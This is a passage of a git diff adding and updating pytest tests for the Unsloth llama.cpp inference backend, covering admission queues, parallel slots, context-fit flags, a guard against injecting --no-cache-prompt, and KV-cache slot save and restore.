+        queue = get_llama_admission_queue("http://llama.test")
+        config = LlamaAdmissionConfig()
+
+        first = queue.reserve(capacity = 1, config = config)
+        second = queue.reserve(capacity = 1, config = config)
+
+        first_lease = first.lease_nowait()
+        assert first_lease is not None
+        assert second.lease_nowait() is None
+        assert queue.snapshot().active == 1
+        assert queue.snapshot().queued == 1
+
+        third = queue.reserve(capacity = 2, config = config)
+
+        second_lease = await second.wait(0.1)
+        assert second_lease is not None
+        assert third.lease_nowait() is None
+
+        snapshot = queue.snapshot()
+        assert snapshot.capacity == 2
+        assert snapshot.active == 2
+        assert snapshot.queued == 1
+
+        first_lease.release()
+        third_lease = await third.wait(0.1)
+        assert third_lease is not None
+
+        second_lease.release()
+        third_lease.release()
+        snapshot = queue.snapshot()
+        assert snapshot.active == 0
+        assert snapshot.queued == 0
+
+    asyncio.run(_run())
+
+
+def test_lease_release_is_idempotent_under_concurrent_calls():
+    async def _run():
+        queue = get_llama_admission_queue("http://llama.test")
+        config = LlamaAdmissionConfig()
+
+        reservation = queue.reserve(capacity = 1, config = config)
+        lease = reservation.lease_nowait()
+        assert lease is not None
+
+        threads = [threading.Thread(target = lease.release) for _ in range(16)]
+        for thread in threads:
+            thread.start()
+        for thread in threads:
+            thread.join()
+
+        snapshot = queue.snapshot()
+        assert snapshot.active == 0
+        assert snapshot.queued == 0
+
+    asyncio.run(_run())
+
+
+def test_new_key_evicts_idle_prior_load_queues():
+    # Each model load carries a fresh ephemeral port, so a new base_url key must
+    # not leave the drained queues from earlier loads accumulating forever.
+    get_llama_admission_queue("http://127.0.0.1:1001")
+    get_llama_admission_queue("http://127.0.0.1:1002")
+    assert set(llama_admission._QUEUES) == {"http://127.0.0.1:1002"}
+
+    get_llama_admission_queue("http://127.0.0.1:1003")
+    assert set(llama_admission._QUEUES) == {"http://127.0.0.1:1003"}
+
+
+def test_new_key_retains_in_flight_prior_load_queue():
+    config = LlamaAdmissionConfig()
+    busy = get_llama_admission_queue("http://127.0.0.1:2001")
+
+    async def _run():
+        reservation = busy.reserve(capacity = 1, config = config)
+        lease = reservation.lease_nowait()
+        assert lease is not None
+
+        # A new load must not drop a queue that still has an in-flight request.
+        get_llama_admission_queue("http://127.0.0.1:2002")
+        assert set(llama_admission._QUEUES) == {"http://127.0.0.1:2001", "http://127.0.0.1:2002"}
+
+        # Once it drains, the next load reclaims it.
+        lease.release()
+        get_llama_admission_queue("http://127.0.0.1:2003")
+        assert set(llama_admission._QUEUES) == {"http://127.0.0.1:2003"}
+
+    asyncio.run(_run())
diff --git a/studio/backend/tests/test_llama_cpp_context_fit.py b/studio/backend/tests/test_llama_cpp_context_fit.py
index d3a10df8ca..2a4f6d19d2 100644
--- a/studio/backend/tests/test_llama_cpp_context_fit.py
+++ b/studio/backend/tests/test_llama_cpp_context_fit.py
@@ -567,7 +567,7 @@ class TestClassifyGpuOffload:
         assert inst._classify_gpu_offload(False, []) is None
 
     def test_user_did_not_intend_gpu_returns_none(self):
-        # Studio called start_llama_server without expecting GPU; don't warn.
+        # Unsloth called start_llama_server without expecting GPU; don't warn.
         inst = self._backend(
             [
                 "load_tensors:   CPU_Mapped model buffer size = 21000.0 MiB",
diff --git a/studio/backend/tests/test_llama_cpp_effective_parallel_slots.py b/studio/backend/tests/test_llama_cpp_effective_parallel_slots.py
new file mode 100644
index 0000000000..5525bc3ea9
--- /dev/null
+++ b/studio/backend/tests/test_llama_cpp_effective_parallel_slots.py
@@ -0,0 +1,53 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+
+import os
+import sys
+
+import pytest
+
+_backend = os.path.join(os.path.dirname(__file__), "..")
+sys.path.insert(0, _backend)
+
+from core.inference import llama_cpp as llama_cpp_module
+from core.inference.llama_cpp import LlamaCppBackend
+
+
+@pytest.fixture
+def backend(monkeypatch):
+    monkeypatch.setattr(LlamaCppBackend, "_kill_orphaned_servers", lambda self: 0)
+    monkeypatch.setattr(llama_cpp_module.atexit, "register", lambda *_args, **_kwargs: None)
+    return LlamaCppBackend()
+
+
+def test_effective_parallel_slots_initial_value_is_one(backend):
+    assert backend.effective_parallel_slots == 1
+
+
+def test_effective_parallel_slots_commit_uses_final_positive_parallel(backend):
+    backend._commit_effective_parallel_slots(3)
+
+    assert backend.effective_parallel_slots == 3
+
+
+@pytest.mark.parametrize("value", [None, 0, -2, "not-an-int"])
+def test_effective_parallel_slots_commit_invalid_value_falls_back_to_one(backend, value):
+    backend._commit_effective_parallel_slots(value)
+
+    assert backend.effective_parallel_slots == 1
+
+
+def test_effective_parallel_slots_reset_returns_to_one(backend):
+    backend._commit_effective_parallel_slots(4)
+
+    backend._reset_effective_parallel_slots()
+
+    assert backend.effective_parallel_slots == 1
+
+
+def test_effective_parallel_slots_unload_resets_to_one(backend):
+    backend._commit_effective_parallel_slots(4)
+
+    backend.unload_model()
+
+    assert backend.effective_parallel_slots == 1
diff --git a/studio/backend/tests/test_llama_cpp_freshness.py b/studio/backend/tests/test_llama_cpp_freshness.py
index 2a2e113585..08e1334ac9 100644
--- a/studio/backend/tests/test_llama_cpp_freshness.py
+++ b/studio/backend/tests/test_llama_cpp_freshness.py
@@ -137,9 +137,9 @@ def test_read_install_marker_finds_windows_cmake_layout(tmp_path):
 
 @pytest.mark.parametrize("repo", ["unslothai/llama.cpp", "ggml-org/llama.cpp"])
 def test_read_install_marker_carries_published_repo_dynamically(tmp_path, repo):
-    # The freshness check queries whichever release repo the marker records,
-    # so CUDA (unslothai), CPU/macOS (ggml-org), and ROCm all get the right
-    # "latest" tag.
+    # The freshness check queries whichever release repo the marker records:
+    # new installs record the fork, legacy CPU/macOS markers still say ggml-org,
+    # and both must get the right "latest" tag.
     install_dir = tmp_path / "llama.cpp"
     _write_marker(install_dir, tag = "b9000", published_repo = repo)
     bin_path = _fake_binary(install_dir, layout = "cmake")
diff --git a/studio/backend/tests/test_llama_cpp_mmproj_fallback.py b/studio/backend/tests/test_llama_cpp_mmproj_fallback.py
index 04d4aac9e1..049058e511 100644
--- a/studio/backend/tests/test_llama_cpp_mmproj_fallback.py
+++ b/studio/backend/tests/test_llama_cpp_mmproj_fallback.py
@@ -222,7 +222,7 @@ class TestFlashAttnOff:
         assert _flash_off(["llama-server", "-fa=on"]) == ["llama-server", "-fa=off"]
 
     def test_flips_every_occurrence_last_wins(self):
-        # extra_args can re-enable FA after Studio's flag; llama.cpp is last-wins,
+        # extra_args can re-enable FA after Unsloth's flag; llama.cpp is last-wins,
         # so one leftover 'on' would re-crash the retry. Every enable must flip.
         cmd = ["llama-server", "--flash-attn", "on", "--mmproj", "/p", "--flash-attn", "on"]
         out = _flash_off(cmd)
@@ -234,7 +234,7 @@ class TestFlashAttnOff:
         assert _flash_off(["llama-server", "--flash-attn=off"]) is None
 
     def test_none_when_user_off_wins_last(self):
-        # User appended 'off' after Studio's 'on'; effective (last-wins) is off,
+        # User appended 'off' after Unsloth's 'on'; effective (last-wins) is off,
         # so there is nothing to retry.
         assert _flash_off(["llama-server", "--flash-attn", "on", "--flash-attn", "off"]) is None
 
diff --git a/studio/backend/tests/test_llama_cpp_mtp_detection.py b/studio/backend/tests/test_llama_cpp_mtp_detection.py
index 3f9d2a8f50..1d15647967 100644
--- a/studio/backend/tests/test_llama_cpp_mtp_detection.py
+++ b/studio/backend/tests/test_llama_cpp_mtp_detection.py
@@ -9,6 +9,7 @@ the _already_in_target_state mirror that prevents needless reloads.
 
 from __future__ import annotations
 
+import ast
 import inspect
 import os
 import struct
@@ -345,10 +346,62 @@ def test_windows_full_offload_flags_use_current_llama_server_args():
     stale_checkpoint_flag = "--checkpoint-" + "every-n-tokens"
     assert '"--cache-ram"' in src
     assert '"--ctx-checkpoints"' in src
-    assert '"--no-cache-prompt"' in src
+    # Prompt caching stays on (in-VRAM prefix reuse); #5692 only needed the host-RAM
+    # checkpoints (--cache-ram / --ctx-checkpoints) disabled, not prompt reuse.
+    assert '"--no-cache-prompt"' not in src
     assert stale_checkpoint_flag not in src
 
 
+# Backend-wide guard: Unsloth must never inject --no-cache-prompt into a llama-server
+# command. It disables in-VRAM prompt-prefix reuse, re-prefilling every repeated prompt
+# (#5692 only needed --cache-ram / --ctx-checkpoints off; #7260 dropped the stray flag).
+# Detecting it (_is_real) or honouring a user-supplied one (_prompt_cache_off) is fine.
+_NO_CACHE_PROMPT_FLAG = "--no-cache-prompt"
+_LIST_MUTATORS = frozenset({"append", "extend", "insert"})
+
+
+def _has_flag_literal(node: ast.AST) -> bool:
+    return any(
+        isinstance(n, ast.Constant) and n.value == _NO_CACHE_PROMPT_FLAG for n in ast.walk(node)
+    )
+
+
+def _no_cache_prompt_injections(source: str, filename: str) -> list[tuple[str, int]]:
+    """(file, lineno) for each spot adding --no-cache-prompt to a list."""
+    hits: list[tuple[str, int]] = []
+    for node in ast.walk(ast.parse(source, filename = filename)):
+        # cmd.append/extend/insert(... flag ...) or cmd += [... flag ...]
+        if (
+            isinstance(node, ast.Call)
+            and isinstance(node.func, ast.Attribute)
+            and node.func.attr in _LIST_MUTATORS
+            and any(_has_flag_literal(a) for a in node.args)
+        ) or (
+            isinstance(node, ast.AugAssign)
+            and isinstance(node.op, ast.Add)
+            and _has_flag_literal(node.value)
+        ):
+            hits.append((filename, node.lineno))
+    return hits
+
+
+def test_unsloth_never_injects_no_cache_prompt_into_any_command():
+    root = Path(_BACKEND_DIR)
+    files = [p for p in root.rglob("*.py") if "tests" not in p.relative_to(root).parts]
+    violations: list[tuple[str, int]] = []
+    for path in files:
+        try:
+            violations += _no_cache_prompt_injections(path.read_text(encoding = "utf-8"), str(path))
+        except (OSError, UnicodeDecodeError, SyntaxError):
+            continue
+    assert files, "no backend source files were scanned"
+    assert violations == [], (
+        "Unsloth must never add --no-cache-prompt to a llama-server command "
+        "(it disables prompt-prefix reuse); detecting or honouring a user-supplied "
+        f"one is fine. Offending sites: {violations}"
+    )
+
+
 def test_load_model_sets_threads_once():
     src = inspect.getsource(LlamaCppBackend.load_model)
     assert src.count('cmd.extend(["--threads", str(') == 1
@@ -741,6 +794,25 @@ def test_probe_reports_windows_cache_flags_absent_for_older_binary(tmp_path):
     assert caps["supports_no_cache_prompt"] is False
 
 
+@_NEEDS_BASH
+def test_probe_detects_slot_save_path(tmp_path):
+    fake = _make_fake_llama_server(
+        tmp_path / "llama-server",
+        "--slot-save-path PATH  path to save slot kv cache\n--threads N\n",
+    )
+    _clear_caps_cache()
+    caps = LlamaCppBackend.probe_server_capabilities(str(fake))
+    assert caps["supports_slot_save"] is True
+
+
+@_NEEDS_BASH
+def test_probe_reports_slot_save_absent_for_older_binary(tmp_path):
+    fake = _make_fake_llama_server(tmp_path / "llama-server", "--threads N\n")
+    _clear_caps_cache()
+    caps = LlamaCppBackend.probe_server_capabilities(str(fake))
+    assert caps["supports_slot_save"] is False
+
+
 def test_build_ngram_mod_flags_new():
     flags = _build_ngram_mod_flags({"ngram_mod_flavor": "new"})
     assert flags == [
@@ -1014,7 +1086,7 @@ def test_already_in_target_state_2b_falls_back_to_ngram_below_threshold(monkeypa
     )
 
 
-# usage backfill from timings (Studio UI t/s widget fix).
+# usage backfill from timings (Unsloth UI t/s widget fix).
 
 
 def test_backfill_usage_from_timings_fills_when_completion_tokens_zero():
@@ -1606,7 +1678,7 @@ def test_reload_forced_mtp_bounces_auto_mla():
     )
 
 
-# ── Full named-repo resolver matrix (the shipping Studio families) ─────
+# ── Full named-repo resolver matrix (the shipping Unsloth families) ─────
 #
 # Locks auto / off / forced-mtp routing for every Qwen3.5 (MTP + plain) and
 # gemma-4 (regular + QAT) GGUF repo, including the giant MoEs that stay
diff --git a/studio/backend/tests/test_llama_cpp_no_context_shift.py b/studio/backend/tests/test_llama_cpp_no_context_shift.py
index 10b1dc7ff6..662c918305 100644
--- a/studio/backend/tests/test_llama_cpp_no_context_shift.py
+++ b/studio/backend/tests/test_llama_cpp_no_context_shift.py
@@ -5,7 +5,7 @@
 
 With llama-server's default context-shift behavior, the UI cannot tell the user
 the KV cache was rotated -- earlier turns silently vanish from the conversation.
-The Studio backend always passes ``--no-context-shift`` so the server returns a
+The Unsloth backend always passes ``--no-context-shift`` so the server returns a
 clean error instead, and the chat adapter can point the user at the
 ``Context Length`` input in the settings panel.
 
@@ -118,9 +118,17 @@ def test_flag_sits_inside_the_base_cmd_list():
         "conditional branch -- otherwise some code paths would still "
         "run with silent context shift enabled."
     )
-    # Pin that it sits next to -c / --ctx so the grouping makes sense.
-    assert '"-c"' in block
     assert '"--flash-attn"' in block
+    # -c is emitted in the conditional right after the base list, not inside
+    # it: auto-fit (--fit on with no pinned context) must omit -c entirely,
+    # because "-c 0" pins the full native context and disables --fit's
+    # VRAM-based sizing. Pin that it still sits next to the base block so the
+    # context grouping stays intact.
+    after = rest[end_rel : end_rel + 1000]
+    assert '"-c"' in after, (
+        "-c must still be emitted in the conditional immediately after the "
+        "base cmd list (omitted only in auto-fit, where --fit sizes context)."
+    )
 
 
 def _iter_lines_with_offset(text: str):
diff --git a/studio/backend/tests/test_llama_cpp_props_readback.py b/studio/backend/tests/test_llama_cpp_props_readback.py
index 316956325f..fe1e67edad 100644
--- a/studio/backend/tests/test_llama_cpp_props_readback.py
+++ b/studio/backend/tests/test_llama_cpp_props_readback.py
@@ -4,7 +4,7 @@
 """Tests for the post-launch /props context readback.
 
 llama-server's memory-fit step or --parallel slot split can allocate less
-context than the requested -c while Studio keeps advertising the requested
+context than the requested -c while Unsloth keeps advertising the requested
 value; clients sized to it then die on exceed_context_size_error 400s.
 ``_reconcile_effective_ctx_with_server`` must adopt the server's real
 ``default_generation_settings.n_ctx`` whenever it is smaller.
@@ -223,33 +223,48 @@ _CAPS_NONE = {"supports_kv_unified": False, "supports_fit_ctx": False}
 
 def test_kv_unified_added_for_multi_slot():
     """Explicit --parallel N disables llama-server's auto-slots kv-unified
-    default, splitting -c into per-slot windows of -c/N; Studio must restore
+    default, splitting -c into per-slot windows of -c/N; Unsloth must restore
     the shared pool so one request can use the full advertised context."""
-    flags = LlamaCppBackend._ctx_integrity_flags(4, False, 98304, 98304, _CAPS_ALL)
+    flags = LlamaCppBackend._ctx_integrity_flags(4, False, False, 98304, 98304, _CAPS_ALL)
     assert "--kv-unified" in flags
 
 
 def test_kv_unified_skipped_for_single_slot_or_old_build():
     assert "--kv-unified" not in LlamaCppBackend._ctx_integrity_flags(
-        1, False, 98304, 98304, _CAPS_ALL
+        1, False, False, 98304, 98304, _CAPS_ALL
     )
     assert "--kv-unified" not in LlamaCppBackend._ctx_integrity_flags(
-        4, False, 98304, 98304, _CAPS_NONE
+        4, False, False, 98304, 98304, _CAPS_NONE
     )
 
 
 def test_fit_ctx_floors_explicit_request_under_fit():
-    flags = LlamaCppBackend._ctx_integrity_flags(1, True, 98304, 98304, _CAPS_ALL)
+    # An explicit requested ctx floors --fit-ctx at that value on any --fit
+    # path, including legacy auto (auto_fit False).
+    flags = LlamaCppBackend._ctx_integrity_flags(1, True, False, 98304, 98304, _CAPS_ALL)
     assert flags[flags.index("--fit-ctx") + 1] == "98304"
 
 
-def test_fit_ctx_skipped_without_fit_or_explicit_ctx_or_support():
+def test_fit_ctx_skipped_without_fit_or_support():
+    # No --fit on -> no --fit-ctx.
     assert "--fit-ctx" not in LlamaCppBackend._ctx_integrity_flags(
-        1, False, 98304, 98304, _CAPS_ALL
+        1, False, False, 98304, 98304, _CAPS_ALL
     )
-    assert "--fit-ctx" not in LlamaCppBackend._ctx_integrity_flags(1, True, 0, 262144, _CAPS_ALL)
+    # --fit on but the binary doesn't support --fit-ctx.
     assert "--fit-ctx" not in LlamaCppBackend._ctx_integrity_flags(
-        1, True, 98304, 98304, _CAPS_NONE
+        1, True, True, 98304, 98304, _CAPS_NONE
+    )
+
+
+def test_fit_ctx_floors_auto_request_at_8192_only_under_auto_fit():
+    # Manual + Auto (auto_fit) floors the auto window at 8192 so --fit can't
+    # shrink it to a tiny size.
+    flags = LlamaCppBackend._ctx_integrity_flags(1, True, True, 0, 262144, _CAPS_ALL)
+    assert flags[flags.index("--fit-ctx") + 1] == "8192"
+    # Legacy auto (fit on but not auto_fit) emits -c 0 to pin native, so the
+    # 8192 floor must NOT ride along and override that pin.
+    assert "--fit-ctx" not in LlamaCppBackend._ctx_integrity_flags(
+        1, True, False, 0, 262144, _CAPS_ALL
     )
 
 
diff --git a/studio/backend/tests/test_llama_cpp_slot_resume.py b/studio/backend/tests/test_llama_cpp_slot_resume.py
new file mode 100644
index 0000000000..8b20c952c4
--- /dev/null
+++ b/studio/backend/tests/test_llama_cpp_slot_resume.py
@@ -0,0 +1,494 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import os
+from types import SimpleNamespace
+
+import core.inference.llama_cpp as llama_cpp
+from core.inference.llama_cpp import LlamaCppBackend
+
+
+def _resume_backend(tmp_path, n_slots = 1):
+    backend = LlamaCppBackend()
+    backend._healthy = True
+    # No-op lifecycle methods so the atexit cleanup can kill the fake quietly.
+    backend._process = SimpleNamespace(
+        poll = lambda: None,
+        terminate = lambda: None,
+        wait = lambda *a, **k: 0,
+        kill = lambda: None,
+        pid = 0,
+    )
+    backend._port = 8081
+    backend._slot_save_dir = str(tmp_path)
+    backend._slot_save_binary = ("/bin/llama-server", 1)
+    (tmp_path / "model.gguf").write_bytes(b"gguf")
+    backend._gguf_path = str(tmp_path / "model.gguf")
+    backend._effective_parallel_slots = n_slots
+    backend._estimate_kv_cache_bytes = lambda *a, **k: 0
+    return backend
+
+
+def _fake_disk(monkeypatch, free = 1 << 40):
+    monkeypatch.setattr(llama_cpp.shutil, "disk_usage", lambda _p: SimpleNamespace(free = free))
+
+
+class _Resp:
+    def __init__(
+        self,
+        status_code = 200,
+        body = None,
+    ):
+        self.status_code = status_code
+        self._body = body or {}
+
+    def json(self):
+        return self._body
+
+
+def test_save_returns_none_when_slot_save_disabled(monkeypatch, tmp_path):
+    backend = _resume_backend(tmp_path)
+    backend._slot_save_dir = None
+    monkeypatch.setattr(
+        llama_cpp.httpx,
+        "post",
+        lambda *a, **k: (_ for _ in ()).throw(AssertionError),
+        raising = False,
+    )
+    assert backend.save_slots_for_resume() is None
+
+
+def test_save_skipped_when_prompt_cache_disabled(monkeypatch, tmp_path):
+    backend = _resume_backend(tmp_path)
+    backend._prompt_cache_disabled = True
+    monkeypatch.setattr(
+        llama_cpp.httpx,
+        "post",
+        lambda *a, **k: (_ for _ in ()).throw(AssertionError),
+        raising = False,
+    )
+    assert backend.save_slots_for_resume() is None
+
+
+def test_save_skipped_when_insufficient_free_disk(monkeypatch, tmp_path):
+    backend = _resume_backend(tmp_path)
+    backend._estimate_kv_cache_bytes = lambda *a, **k: 1 << 40
+    _fake_disk(monkeypatch, free = 1 << 20)
+    monkeypatch.setattr(
+        llama_cpp.httpx,
+        "post",
+        lambda *a, **k: (_ for _ in ()).throw(AssertionError),
+        raising = False,
+    )
+    assert backend.save_slots_for_resume() is None
+
+
+def test_save_collects_manifest_across_slots(monkeypatch, tmp_path):
+    backend = _resume_backend(tmp_path, n_slots = 2)
+    _fake_disk(monkeypatch)
+    calls = []
+
+    def fake_post(url, **kwargs):
+        calls.append((url, kwargs["params"], kwargs["json"]))
+        return _Resp(200, {"n_saved": 40, "n_written": 100})
+
+    monkeypatch.setattr(llama_cpp.httpx, "post", fake_post, raising = False)
+    manifest = backend.save_slots_for_resume()
+    assert manifest is not None
+    assert manifest["dir"] == str(tmp_path)
+    assert manifest["binary"] == ("/bin/llama-server", 1)
+    assert manifest["gguf"] == str(tmp_path / "model.gguf")
+    st = os.stat(manifest["gguf"])
+    assert manifest["gguf_stat"] == ((st.st_size, st.st_mtime_ns),)
+    assert manifest["launch"] == backend._slot_launch_fingerprint()
+    assert [e["id"] for e in manifest["slots"]] == [0, 1]
+    assert all(e["n_saved"] == 40 for e in manifest["slots"])
+    assert [c[1] for c in calls] == [{"action": "save"}] * 2
+    assert "/slots/0" in calls[0][0] and "/slots/1" in calls[1][0]
+
+
+def test_save_unlinks_empty_slot_and_returns_none(monkeypatch, tmp_path):
+    backend = _resume_backend(tmp_path)
+    _fake_disk(monkeypatch)
+
+    def fake_post(url, **kwargs):
+        (tmp_path / kwargs["json"]["filename"]).write_bytes(b"")
+        return _Resp(200, {"n_saved": 0, "n_written": 0})
+
+    monkeypatch.setattr(llama_cpp.httpx, "post", fake_post, raising = False)
+    assert backend.save_slots_for_resume() is None
+    assert list(tmp_path.glob("resume-*.bin")) == []  # empty-slot file removed
+
+
+def test_save_cap_breach_discards_all_files(monkeypatch, tmp_path):
+    backend = _resume_backend(tmp_path, n_slots = 2)
+    _fake_disk(monkeypatch)
+    monkeypatch.setattr(llama_cpp, "_SLOT_SAVE_MAX_BYTES", 150)
+
+    def fake_post(url, **kwargs):
+        (tmp_path / kwargs["json"]["filename"]).write_bytes(b"x" * 100)
+        return _Resp(200, {"n_saved": 40, "n_written": 100})
+
+    monkeypatch.setattr(llama_cpp.httpx, "post", fake_post, raising = False)
+    assert backend.save_slots_for_resume() is None  # 200 bytes > 150 cap
+    assert list(tmp_path.glob("resume-*.bin")) == []
+
+
+def test_save_transport_error_aborts_remaining_slots(monkeypatch, tmp_path):
+    backend = _resume_backend(tmp_path, n_slots = 3)
+    _fake_disk(monkeypatch)
+    calls = []
+
+    def fake_post(url, **kwargs):
+        calls.append(url)
+        raise OSError("connection refused")
+
+    monkeypatch.setattr(llama_cpp.httpx, "post", fake_post, raising = False)
+    assert backend.save_slots_for_resume() is None
+    assert len(calls) == 1  # no retries against a dead server
+
+
+def test_save_transport_error_unlinks_partial_file(monkeypatch, tmp_path):
+    backend = _resume_backend(tmp_path)
+    _fake_disk(monkeypatch)
+
+    def fake_post(url, **kwargs):
+        (tmp_path / kwargs["json"]["filename"]).write_bytes(b"partial")
+        raise OSError("timed out")
+
+    monkeypatch.setattr(llama_cpp.httpx, "post", fake_post, raising = False)
+    assert backend.save_slots_for_resume() is None
+    assert list(tmp_path.glob("resume-*.bin")) == []
+
+
+def test_fingerprint_tracks_lora_sidecar_rewrite(tmp_path):
+    backend = _resume_backend(tmp_path)
+    adapter = tmp_path / "adapter.gguf"
+    adapter.write_bytes(b"v1")
+    backend._extra_args = ["--lora", str(adapter)]
+
+    before = backend._slot_launch_fingerprint()
+    adapter.write_bytes(b"v2-different")  # re-exported adapter, same path
+    assert backend._slot_launch_fingerprint() != before
+
+    backend._extra_args = [f"--lora={adapter}"]
+    assert backend._sidecar_weight_files() == [str(adapter)]
+    backend._extra_args = ["--lora-scaled", str(adapter), "0.5"]
+    assert backend._sidecar_weight_files() == [str(adapter)]
+    backend._extra_args = ["--control-vector", str(adapter), "--threads", "4"]
+    assert backend._sidecar_weight_files() == [str(adapter)]
+
+
+def test_sidecar_files_parse_csv_and_colon_scale(tmp_path):
+    backend = _resume_backend(tmp_path)
+    a, b = tmp_path / "a.gguf", tmp_path / "b.gguf"
+
+    backend._extra_args = ["--lora", f"{a},{b}"]
+    files = backend._sidecar_weight_files()
+    assert str(a) in files and str(b) in files
+
+    backend._extra_args = ["--lora-scaled", f"{a}:0.5"]
+    assert str(a) in backend._sidecar_weight_files()
+
+    backend._extra_args = ["--control-vector-scaled", f"{a}:1.0,{b}:2.0"]
+    files = backend._sidecar_weight_files()
+    assert str(a) in files and str(b) in files
+
+    # Windows drive letter must not be mistaken for a scale separator.
+    backend._extra_args = ["--lora-scaled", "C:\\adapters\\a.gguf:0.75"]
+    assert "C:\\adapters\\a.gguf" in backend._sidecar_weight_files()
+    backend._extra_args = ["--lora", "C:\\adapters\\a.gguf"]
+    assert backend._sidecar_weight_files() == ["C:\\adapters\\a.gguf"]
+
+
+def test_fingerprint_tracks_colon_scaled_adapter_rewrite(tmp_path):
+    backend = _resume_backend(tmp_path)
+    adapter = tmp_path / "adapter.gguf"
+    adapter.write_bytes(b"v1")
+    backend._extra_args = ["--lora-scaled", f"{adapter}:0.5"]
+
+    before = backend._slot_launch_fingerprint()
+    adapter.write_bytes(b"v2-different")  # re-exported adapter, same path
+    assert backend._slot_launch_fingerprint() != before
+
+
+def test_fingerprint_tracks_effective_context_length(tmp_path):
+    backend = _resume_backend(tmp_path)
+    backend._effective_context_length = 8192
+
+    before = backend._slot_launch_fingerprint()
+    backend._effective_context_length = 4096  # auto-fit landed smaller on reload
+    assert backend._slot_launch_fingerprint() != before
+
+
+def test_gguf_file_identity_covers_split_shards(tmp_path):
+    backend = _resume_backend(tmp_path)
+    first = tmp_path / "m-00001-of-00002.gguf"
+    second = tmp_path / "m-00002-of-00002.gguf"
+    first.write_bytes(b"a")
+    second.write_bytes(b"bb")
+
+    before = backend._gguf_file_identity(str(first))
+    st1, st2 = os.stat(first), os.stat(second)
+    assert before == ((st1.st_size, st1.st_mtime_ns), (st2.st_size, st2.st_mtime_ns))
+
+    second.write_bytes(b"rewritten")  # sibling changes, primary untouched
+    after = backend._gguf_file_identity(str(first))
+    assert after is not None and after != before
+    assert after[0] == before[0]  # primary shard unchanged
+
+    second.unlink()
+    assert backend._gguf_file_identity(str(first)) is None  # missing shard
+
+
+def test_save_skipped_when_user_disabled_prompt_cache(monkeypatch, tmp_path):
+    backend = _resume_backend(tmp_path)
+    backend._extra_args = ["--no-cache-prompt"]
+    monkeypatch.setattr(
+        llama_cpp.httpx,
+        "post",
+        lambda *a, **k: (_ for _ in ()).throw(AssertionError),
+        raising = False,
+    )
+    assert backend.save_slots_for_resume() is None
+
+
+def test_save_skipped_when_env_disables_prompt_cache(monkeypatch, tmp_path):
+    backend = _resume_backend(tmp_path)
+    monkeypatch.setenv("LLAMA_ARG_CACHE_PROMPT", "0")
+    monkeypatch.setattr(
+        llama_cpp.httpx,
+        "post",
+        lambda *a, **k: (_ for _ in ()).throw(AssertionError),
+        raising = False,
+    )
+    assert backend.save_slots_for_resume() is None
+    monkeypatch.delenv("LLAMA_ARG_CACHE_PROMPT")
+    monkeypatch.setenv("LLAMA_ARG_NO_CACHE_PROMPT", "1")  # legacy negative form
+    assert backend.save_slots_for_resume() is None
+
+
+def test_explicit_cache_prompt_flag_overrides_env(monkeypatch, tmp_path):
+    backend = _resume_backend(tmp_path)
+    monkeypatch.setenv("LLAMA_ARG_CACHE_PROMPT", "0")
+    backend._extra_args = ["--cache-prompt"]  # CLI wins over env in llama.cpp
+    _fake_disk(monkeypatch)
+    monkeypatch.setattr(
+        llama_cpp.httpx,
+        "post",
+        lambda *a, **k: _Resp(200, {"n_saved": 1, "n_written": 1}),
+        raising = False,
+    )
+    assert backend.save_slots_for_resume() is not None
+
+
+def test_user_cache_prompt_overrides_studio_no_cache_flag(monkeypatch, tmp_path):
+    # User extras follow Studio's flags, so an explicit --cache-prompt wins.
+    backend = _resume_backend(tmp_path)
+    backend._prompt_cache_disabled = True
+    backend._extra_args = ["--cache-prompt"]
+    _fake_disk(monkeypatch)
+    monkeypatch.setattr(
+        llama_cpp.httpx,
+        "post",
+        lambda *a, **k: _Resp(200, {"n_saved": 1, "n_written": 1}),
+        raising = False,
+    )
+    assert backend.save_slots_for_resume() is not None
+    # Last flag wins when both appear in extras.
+    backend._extra_args = ["--cache-prompt", "--no-cache-prompt"]
+    assert backend.save_slots_for_resume() is None
+
+
+def test_save_stops_writing_once_cap_exceeded(monkeypatch, tmp_path):
+    backend = _resume_backend(tmp_path, n_slots = 3)
+    _fake_disk(monkeypatch)
+    monkeypatch.setattr(llama_cpp, "_SLOT_SAVE_MAX_BYTES", 150)
+    calls = []
+
+    def fake_post(url, **kwargs):
+        calls.append(url)
+        (tmp_path / kwargs["json"]["filename"]).write_bytes(b"x" * 100)
+        return _Resp(200, {"n_saved": 1, "n_written": 100})
+
+    monkeypatch.setattr(llama_cpp.httpx, "post", fake_post, raising = False)
+    assert backend.save_slots_for_resume() is None
+    assert len(calls) == 2  # cap blown after slot 1; slot 2 never attempted
+    assert list(tmp_path.glob("resume-*.bin")) == []
+
+
+def test_save_aborts_between_slots_when_no_longer_idle(monkeypatch, tmp_path):
+    backend = _resume_backend(tmp_path, n_slots = 3)
+    _fake_disk(monkeypatch)
+    calls = []
+
+    def fake_post(url, **kwargs):
+        calls.append(url)
+        return _Resp(200, {"n_saved": 5, "n_written": 10})
+
+    monkeypatch.setattr(llama_cpp.httpx, "post", fake_post, raising = False)
+    aborts = iter([False, True, True])
+    manifest = backend.save_slots_for_resume(should_abort = lambda: next(aborts))
+    assert len(calls) == 1  # slots 1 and 2 skipped
+    assert manifest is not None
+    assert [e["id"] for e in manifest["slots"]] == [0]
+
+
+def test_save_non_200_slot_is_skipped_but_others_kept(monkeypatch, tmp_path):
+    backend = _resume_backend(tmp_path, n_slots = 2)
+    _fake_disk(monkeypatch)
+
+    def fake_post(url, **kwargs):
+        if "/slots/0" in url:
+            return _Resp(500)
+        return _Resp(200, {"n_saved": 5, "n_written": 10})
+
+    monkeypatch.setattr(llama_cpp.httpx, "post", fake_post, raising = False)
+    manifest = backend.save_slots_for_resume()
+    assert manifest is not None
+    assert [e["id"] for e in manifest["slots"]] == [1]
+
+
+def test_restore_posts_each_slot_and_tolerates_failures(monkeypatch, tmp_path):
+    backend = _resume_backend(tmp_path)
+    calls = []
+
+    def fake_post(url, **kwargs):
+        calls.append((url, kwargs["params"], kwargs["json"]))
+        return _Resp(500 if "/slots/0" in url else 200, {"n_restored": 5})
+
+    monkeypatch.setattr(llama_cpp.httpx, "post", fake_post, raising = False)
+    backend.restore_slots_for_resume(
+        {
+            "slots": [
+                {"id": 0, "filename": "resume-a-slot0.bin", "n_saved": 5},
+                {"id": 1, "filename": "resume-a-slot1.bin", "n_saved": 5},
+            ]
